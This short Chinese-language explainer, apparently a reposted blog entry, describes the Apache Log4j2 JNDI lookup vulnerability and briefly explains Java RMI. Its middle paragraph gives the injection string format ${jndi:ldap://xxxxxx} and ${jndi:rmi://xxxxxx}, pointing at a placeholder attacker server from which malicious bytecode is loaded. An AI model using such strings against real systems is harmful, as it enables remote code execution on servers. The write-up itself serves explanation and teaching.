漏洞描述
都知道在使用Apache Log4j2 记录日志的时候，会使用这样的格式logger.info("params: {}", params);，进行组装。log4j2 底层在进行组装的时候，如果发现传入的 params 当中含有${} 字符串的话会进行替换的时候会执行 lookup 的操作，所谓的 lookup 的操作就是允许通过 JNDI检索变量。
通过%20JNDI%20注入漏洞，黑客可以恶意构造特殊数据请求包，触发此漏洞，从而成功利用此漏洞可以在目标服务器上执行任意代码，想想就很恐怖！也就是说当%20params%20中的参数包含一些特定的字符的时候，就会触发这个漏洞，这种字符数格式比如：${jndi:ldap://xxxxxx}，${jndi:rmi://xxxxxx}%20其中xxxxxx%20表示黑客的服务地址。黑客通过构造这样的字符串来访问目标网站，只要程序通过%20log4j2%20将日志进行记录，不管是什么级别，就会将%20log4j2%20的%20lookup%20功能触发，然后就会通过%20RMI%20访问黑客的服务地址，黑客通过这个服务输出一个%20class%20字节码文件，这个字节码文件里面可以执行任何内容，相当于把这个服务器都交给黑客了，后果可想而知！
RMI
RMI 是啥？Java RMI（Java Remote Method Invocation），即 Java 远程方法调用。是 Java 编程语言里，一种用于实现远程过程调用的应用程序编程接口。有点类似于常用的服务注册发现机制一样，使用 JRMP（Java Remote Message Protocol，Java远程消息交换协议）实现，使得客户端运行的程序可以调用远程服务器上的对象，有点 RPC 的感觉。
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论